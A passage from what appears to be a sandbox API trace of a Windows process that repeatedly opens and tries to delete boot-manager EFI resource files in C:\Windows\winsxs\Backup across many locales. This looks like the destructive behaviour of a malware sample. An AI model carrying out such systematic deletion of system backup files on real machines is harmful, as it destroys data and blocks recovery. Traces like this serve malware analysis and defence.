(normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_da723e1e02d551df_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.108] CloseHandle (hObject=0xffffffff) returned 0 [0066.109] CloseHandle (hObject=0xffffffff) returned 0 [0066.109] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_da723e1e02d551df_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_da723e1e02d551df_bootmgr.efi.mui_be5d0075")) returned 0 [0066.109] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.109] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dacce684029df516.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dacce684029df516.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.109] CloseHandle (hObject=0xffffffff) returned 0 [0066.109] CloseHandle (hObject=0xffffffff) returned 0 [0066.109] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dacce684029df516.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dacce684029df516.manifest")) returned 0 [0066.109] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.110] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dacce684029df516_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dacce684029df516_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.110] CloseHandle (hObject=0xffffffff) returned 0 [0066.110] CloseHandle (hObject=0xffffffff) returned 0 [0066.110] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dacce684029df516_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dacce684029df516_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.110] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.110] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dacce684029df516_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dacce684029df516_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.110] CloseHandle (hObject=0xffffffff) returned 0 [0066.110] CloseHandle (hObject=0xffffffff) returned 0 [0066.111] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dacce684029df516_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_dacce684029df516_bootmgr.efi.mui_be5d0075")) returned 0 [0066.111] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.111] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_es-es_da98436802c4e6bb.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_es-es_da98436802c4e6bb.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.111] CloseHandle (hObject=0xffffffff) returned 0 [0066.111] CloseHandle (hObject=0xffffffff) returned 0 [0066.111] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_es-es_da98436802c4e6bb.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_es-es_da98436802c4e6bb.manifest")) returned 0 [0066.111] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.112] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_es-es_da98436802c4e6bb_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_es-es_da98436802c4e6bb_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.112] CloseHandle (hObject=0xffffffff) returned 0 [0066.112] CloseHandle (hObject=0xffffffff) returned 0 [0066.112] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_es-es_da98436802c4e6bb_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_es-es_da98436802c4e6bb_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.112] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.112] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_es-es_da98436802c4e6bb_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_es-es_da98436802c4e6bb_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.112] CloseHandle (hObject=0xffffffff) returned 0 [0066.112] CloseHandle (hObject=0xffffffff) returned 0 [0066.112] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_es-es_da98436802c4e6bb_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_es-es_da98436802c4e6bb_bootmgr.efi.mui_be5d0075")) returned 0 [0066.113] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.113] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_79b34814f7ded8e5.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_79b34814f7ded8e5.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.113] CloseHandle (hObject=0xffffffff) returned 0 [0066.113] CloseHandle (hObject=0xffffffff) returned 0 [0066.113] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_79b34814f7ded8e5.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_79b34814f7ded8e5.manifest")) returned 0 [0066.113] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.126] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_79b34814f7ded8e5_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_79b34814f7ded8e5_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.127] CloseHandle (hObject=0xffffffff) returned 0 [0066.127] CloseHandle (hObject=0xffffffff) returned 0 [0066.127] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_79b34814f7ded8e5_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_79b34814f7ded8e5_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.133] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.134] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_79b34814f7ded8e5_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_79b34814f7ded8e5_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.134] CloseHandle (hObject=0xffffffff) returned 0 [0066.134] CloseHandle (hObject=0xffffffff) returned 0 [0066.134] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_79b34814f7ded8e5_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_79b34814f7ded8e5_bootmgr.efi.mui_be5d0075")) returned 0 [0066.134] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.134] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_7d4fb966f596fd1d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_7d4fb966f596fd1d.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.134] CloseHandle (hObject=0xffffffff) returned 0 [0066.135] CloseHandle (hObject=0xffffffff) returned 0 [0066.135] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_7d4fb966f596fd1d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_7d4fb966f596fd1d.manifest")) returned 0 [0066.135] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.135] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_7d4fb966f596fd1d_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_7d4fb966f596fd1d_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.135] CloseHandle (hObject=0xffffffff) returned 0 [0066.135] CloseHandle (hObject=0xffffffff) returned 0 [0066.135] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_7d4fb966f596fd1d_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_7d4fb966f596fd1d_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.136] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.136] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_7d4fb966f596fd1d_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_7d4fb966f596fd1d_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.136] CloseHandle (hObject=0xffffffff) returned 0 [0066.136] CloseHandle (hObject=0xffffffff) returned 0 [0066.136] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_7d4fb966f596fd1d_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_7d4fb966f596fd1d_bootmgr.efi.mui_be5d0075")) returned 0 [0066.136] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.137] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_c4c039aed9f6cc39.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_c4c039aed9f6cc39.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.137] CloseHandle (hObject=0xffffffff) returned 0 [0066.137] CloseHandle (hObject=0xffffffff) returned 0 [0066.137] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_c4c039aed9f6cc39.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_c4c039aed9f6cc39.manifest")) returned 0 [0066.137] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.137] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_c4c039aed9f6cc39_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_c4c039aed9f6cc39_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.137] CloseHandle (hObject=0xffffffff) returned 0 [0066.137] CloseHandle (hObject=0xffffffff) returned 0 [0066.138] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_c4c039aed9f6cc39_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_c4c039aed9f6cc39_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.138] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.138] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_c4c039aed9f6cc39_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_c4c039aed9f6cc39_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.138] CloseHandle (hObject=0xffffffff) returned 0 [0066.138] CloseHandle (hObject=0xffffffff) returned 0 [0066.138] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_c4c039aed9f6cc39_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_c4c039aed9f6cc39_bootmgr.efi.mui_be5d0075")) returned 0 [0066.138] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.139] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6777afadccc8e29b.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6777afadccc8e29b.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.139] CloseHandle (hObject=0xffffffff) returned 0 [0066.139] CloseHandle (hObject=0xffffffff) returned 0 [0066.139] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6777afadccc8e29b.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6777afadccc8e29b.manifest")) returned 0 [0066.139] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.139] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6777afadccc8e29b_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6777afadccc8e29b_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.139] CloseHandle (hObject=0xffffffff) returned 0 [0066.139] CloseHandle (hObject=0xffffffff) returned 0 [0066.139] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6777afadccc8e29b_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6777afadccc8e29b_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.140] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.140] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6777afadccc8e29b_bootmgr.efi.mui_be5d0075" (normalized: 